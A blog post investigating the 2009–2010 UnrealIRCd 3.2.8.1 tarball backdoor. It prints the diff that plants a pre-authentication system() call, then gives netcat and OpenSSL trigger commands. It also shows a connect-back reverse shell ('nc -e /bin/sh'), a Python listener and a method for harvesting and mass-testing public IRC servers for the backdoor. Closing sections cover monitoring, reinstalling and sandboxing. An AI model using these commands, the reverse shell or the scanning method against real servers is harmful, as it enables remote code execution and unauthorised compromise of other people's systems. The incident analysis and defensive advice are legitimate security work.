UnrealIRCd 3.2.8.1 backdoored, investigation

UnrealIRCd is a great IRC server software (daemon) and very popular among mid-sized networks because of its highly advanced features and the fact that it is cross-platform (at least Windows/Linux fully supported).

Yesterday, bad news: some versions of Unreal3.2.8.1.tar.gz contain a backdoor because download mirrors have been compromised.. since november 2009! Read the official security advisory for more information. Other websites are reporting the issue, someone even provided a small shell script to fix the flaw: it basically reverts the changes with diff+patch, make clean & make again, so you just have to restart your IRCd. If you're running an UnrealIRCd you should double check your installation because some exploits are already widespread, as well as an NSE (Nmap Scripting Engine) script (seen on nmap-dev mailing list) to scan & kill IRC servers infected by the backdoor.

Oh and funny thing on Yahoo news and techworld (who seems to have copy/pasted yahoo news..):

The good news [...] is that the Trojan is in a game download so it should
have no bearing on Linux in a business setting.
Unreal is a popular first-person shooter game--similar to Doom or Quake.

No, Unreal is not UnrealIRCd. :)

As a curious person I wanted to know more about this backdoor, so let's investigate.

Read the source luke

Compare the good and backdoored versions:

$ md5sum Unreal3.2.8.1*
7b741e94e867c0a7370553fd01506c66  Unreal3.2.8.1.tar.gz
752e46f2d873c1679fa99de3f52a274d  Unreal3.2.8.1_backdoor.tar.gz

$ diff -urN Unreal3.2.8.1 Unreal3.2.8.1_backdoor

diff -urN Unreal3.2.8.1/include/struct.h Unreal3.2.8.1_backdoor/include/struct.h
--- Unreal3.2.8.1/include/struct.h      2009-04-13 13:03:57.000000000 +0200
+++ Unreal3.2.8.1_backdoor/include/struct.h     2009-04-13 13:03:00.000000000 +0200
@@ -430,6 +430,7 @@
 #endif

 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)

 #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)                       ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO        "AB"
+#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif

 #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)

 struct _configitem_include {
        ConfigItem *prev, *next;
diff -urN Unreal3.2.8.1/src/s_bsd.c Unreal3.2.8.1_backdoor/src/s_bsd.c
--- Unreal3.2.8.1/src/s_bsd.c   2009-03-01 19:37:58.000000000 +0100
+++ Unreal3.2.8.1_backdoor/src/s_bsd.c  2006-06-16 20:29:00.000000000 +0200
@@ -1431,6 +1431,10 @@
                    return 1;
                if (length <= 0)
                        return length;
+#ifdef DEBUGMODE3
+       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+           DEBUG3_LOG(readbuf);
+#endif
                for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
                {
                        int v = (*(h->func.intfunc))(cptr, readbuf, length);

Ok, the backdoor is very simple: basically a few lines with defines and macros in order to have a system() on socket data if this data begins with special word AB. You're not protected by your IRCd password since it's raw (pre-auth). Also note that the backdoor is in an #ifndef USE_POLL so versions using poll() are not affected. Sadly and as far as I know, poll is deprecated in favor of select() so the backdoor is there for most versions.

Exploit

The following shell command triggers the backdoor with netcat:

echo "AB;<command>" |nc <IRCd address> <port>

As you may know, the default port for IRC should be 194 according to the IANA assignment, however no one is using it since it's a port lower than 1024 (requiring privileges) and the common port for IRC is 6667.

It should also work on SSL/TLS servers (though I did not test yet). To trigger the backdoor in SSL/TLS, simply use OpenSSL's s_client:

echo "AB;<command>" |openssl s_client -connect <IRCd address>:<port>

Again, according to the IANA assignment it should be port 994 but no one is using it. Most of the time it's port 6697, but it's not as common as the clear-text port so you may find other ports.

Monitoring backdoor access attempts

If you're running an IRC server, you can use ngrep to literally grep the network in order to see attempts to trigger the backdoor:

# ngrep -tqxl "^AB" "tcp dst port 6667"
interface: eth0 (X.Y.Z.T/255.255.255.255)
filter: (ip or ip6) and ( tcp dst port 6667 )
match: ^AB

T 2010/06/13 16:57:10.187607 A.B.C.D:52914 -> X.Y.Z.T:6667 [AP]
  41 42 3b 6b 69 6c 6c 20    60 70 73 20 2d 65 20 7c    AB;kill `ps -e |
  20 67 72 65 70 20 69 72    63 64 20 7c 20 61 77 6b     grep ircd | awk
  20 27 7b 20 70 72 69 6e    74 20 24 31 20 7d 27 60     '{ print $1 }'`
  0a                                                    .

Here someone is trying to scan & kill all IRC servers infected by the backdoor with the NSE (Nmap Scripting Engine) script seen on nmap-dev mailing list. Killing is good idea, sadly most IRC servers have a cron script (or something like monit) to restart the server if it is not running.

Obtaining a shell with connect-back

In order to easily use the backdoor, we could use the known method of connect-back shell. It won't work with servers behind a properly configured firewall (disallowing connect-backs), hopefully most of them are not.

Assuming attacker machine is 10.0.0.1 and backdoored IRCd is 10.0.0.2, it gives:

Attacker shell 1:

$ nc -vnlp 6676
listening on [any] 6676 ...

Attacker shell 2:

$ echo "AB;nc -e /bin/sh 10.0.0.1 6676" |nc 10.0.0.2 6667

Then on shell 1:

connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2] 44525
id
uid=1000(irc) gid=1000(irc) groups=1000(irc)

Scanning the internet for backdoored UnrealIRCds

Next step would be to scan all IRC servers and find which ones are affected. Since we need a reply to know if the exploit worked, we will use the connect-back method and leave those with good firewalls alone. ;)

We can trigger the backdoor with:

echo "AB;nc -e /usr/bin/id <your server> 6676" |nc -w 2 <ircd> 6667

We just need a simple TCP server to log all connections: connecting IP as well as the message with the user running the IRCd thanks to id. The following Python script (connect-back-server.py) does this using the useful SocketServer class:

#!/usr/bin/env python
# Connect-back server for UnrealIRCd 3.2.8.1 backdoor
# May not work on firewalled hosts though the backdoor is here
import SocketServer,sys
PORT=6676

class S(SocketServer.BaseRequestHandler):
  allow_reuse_address = True
  def handle(self):
    print "%s: %s" % (self.client_address[0],self.request.recv(1024).strip())
    sys.stdout.flush()

try:
  SocketServer.TCPServer(("0.0.0.0", PORT), S).serve_forever()
except KeyboardInterrupt,e:
  sys.exit(1)

The next thing we need is a list of IRC servers in order to trigger the backdoor and see the results in the connect-back server.

Harvesting IRC servers

A good start is mIRC's servers.ini list. To improve this list, netsplit.de and SearchIRC have a pretty good lists of all IRC networks and servers. We could also use pages like Denora IRC Stats users to get more IRC servers.

By the way if you are running an IRC network, Denora is a very good piece of software to provide statistics, along with phpDenora. Small advertisement because I like these guys and the software is very good :)

Grabbing all these IRC servers and making a list requires subtle use of wget (to avoid being seen as a robot or trying to DoS) plus some parsing, use your shell/grep/sed/perl/whatever guru skills.

Now to improve this list, remember the Round-Robin DNS: multiple IP addresses for one hostname (and possibly different IRC servers). So we'll use dig +short to get all the records.

Then we decide to focus only on default IRC port 6667 and filter out all hosts with 6667 closed by using the ultimate network scanner nmap. It finally gives a list of ~1300 hosts possibly running an IRCd.

Scan results

10 hours after the original announcement (14h00 UTC), someone reported that 2% of the public IRC servers were infected (and had connect-back working).. with some hosts running the IRCd as root! :o

Conclusion

Bad for UnrealIRCd and affected users, but the good thing is that we can all learn from this for the future. Syzop (head developer of UnrealIRCd) announced that from now on, releases are signed with GnuPG (PGP) again.
Fyodor (head developer of nmap) also made an interesting post about it on nmap-dev mailing list and reminds us to practice safe software.

Needless to say that if you see the backdoor on your server, you should really consider reinstalling the whole server (and maybe more), change your passwords and so on. Eight month is a really long time..

In addition to running the IRC server under an unprivileged user, one could also consider running it in a restricted environment: a FreeBSD jail, a OpenVZ container, a Linux-VServer, or even if it's not perfect just a chroot (UnrealIRCd seems to support it).